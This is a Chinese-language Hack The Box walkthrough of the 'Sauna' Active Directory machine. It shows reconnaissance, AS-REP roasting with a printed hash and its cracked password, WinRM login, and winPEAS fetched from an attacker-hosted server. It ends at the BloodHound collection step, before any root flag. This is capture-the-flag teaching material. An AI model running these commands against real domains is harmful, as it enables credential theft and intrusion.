Sauna Writeup
仅供安全学习,环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。
介绍
- HTB
- 难度:Easy
- OS: Windows
- Writeup: 解锁
Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation.1
host 别名:htb
分析
侦察
nmap -A htbStarting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 15:42 +0800Nmap scan report for htb (10.129.46.111)Host is up (0.19s latency).Not shown: 987 filtered tcp ports (no-response)PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.0| http-methods:|_ Potentially risky methods: TRACE|_http-title: Egotistical Bank :: Home88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-24 14:42:08Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not FoundWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning (JUST GUESSING): Microsoft Windows 2019|10 (97%)OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windowsAccount Enumeration reconnaissance (LDAP)
确认这是一台 DC(Domain Controller),有 Web 服务(80/TCP)。
AD 认证使用 Kerberos,AD 域名:EGOTISTICAL-BANK.LOCAL。
User Flag
先用 windapsearch 试试:
windapsearch -d EGOTISTICAL-BANK.LOCAL --dc htb -m users没有返回域对象,行不通。
注意到网站 http://htb/about.html 中泄露了员工的名字:
- Fergus Smith
- Shaun Coins
- Hugo Bear
- Bowie Taylor
- Sophie Driver
- Steven Kerb
写入 name.txt:

再用 username-anarchy 处理名字:
username-anarchy --input-file name.txt --select-format first,flast,first.last,firstl > username.txtimpacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -dc-ip htb -usersfile username.txt“NP” 即 “Non-Preauth” 不需要预认证。
TODO:Kerberos 和预认证

得到 fsmith 的 AS-REP 哈希:
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424
AS-REP (Authentication Service Reply)
TODO
写入到 hash.txt:
echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424' > hash.txt由于 CVE-2026-424832,hashcat v7.1.2 的 Kerberos hash parser 会出现堆缓冲溢出,造成 Salt-length exception 错误无法破解。
降级到 v7.1.1 即可。
使用 hashcat 爆破:3
hashcat -m 18200 hash.txt -o passwd.txt
得到密码:Thestrokes23
接下来使用凭证:
- Username:
fsmith - Password:
Thestrokes23
通过 5985/TCP (WinRM) 登录到该用户:
evil-winrm -i htb -u fsmith -p Thestrokes23
在桌面下找到 user flag:

Root Flag
接下来该提权了。
使用 winPEAS 枚举:
先在 Kali 开 HTTP 服务器让 DC 下载 winPEASx64.exe(似乎能比 upload 快):

Invoke-WebRequest -Uri http://10.10.14.195/winPEASx64.exe -OutFile winPEASx64.exe执行:
.\winPEASx64.exe注意到自动登录用户 EGOTISTICALBANK\svc_loanmanager:

密码:Moneymakestheworldgoround!
dir C:\Users 得知用户名:svc_loanmgr。
重新用该用户登录:
evil-winrm -i htb -u svc_loanmgr -p Moneymakestheworldgoround!成功。
用 BloodHound 获取 AD 域信息:
bloodhound-python -d EGOTISTICAL-BANK.LOCAL -ns 10.129.46.111 -u svc_loanmgr -p Moneymakestheworldgoround! -c ALLINFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)INFO: Found AD domain: egotistical-bank.localINFO: Getting TGT for userWARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytesINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Testing resolved hostname connectivity dead:beef::6926:26fe:7f49:9513INFO: Trying LDAP connection to dead:beef::6926:26fe:7f49:9513INFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 1 computersINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Testing resolved hostname connectivity dead:beef::6926:26fe:7f49:9513INFO: Trying LDAP connection to dead:beef::6926:26fe:7f49:9513INFO: Found 7 usersINFO: Found 52 groupsINFO: Found 3 gposINFO: Found 1 ousINFO: Found 19 containersINFO: Found 0 trustsINFO: Starting computer enumeration with 10 workersINFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Done in 01M 09S然后启动 neo4j:
neo4j console通过BloodHound 前端连接 neo4j:
sudo apt install bloodhoundbloodhound-start将得到的 .json 文件打包:
zip info.zip *.json

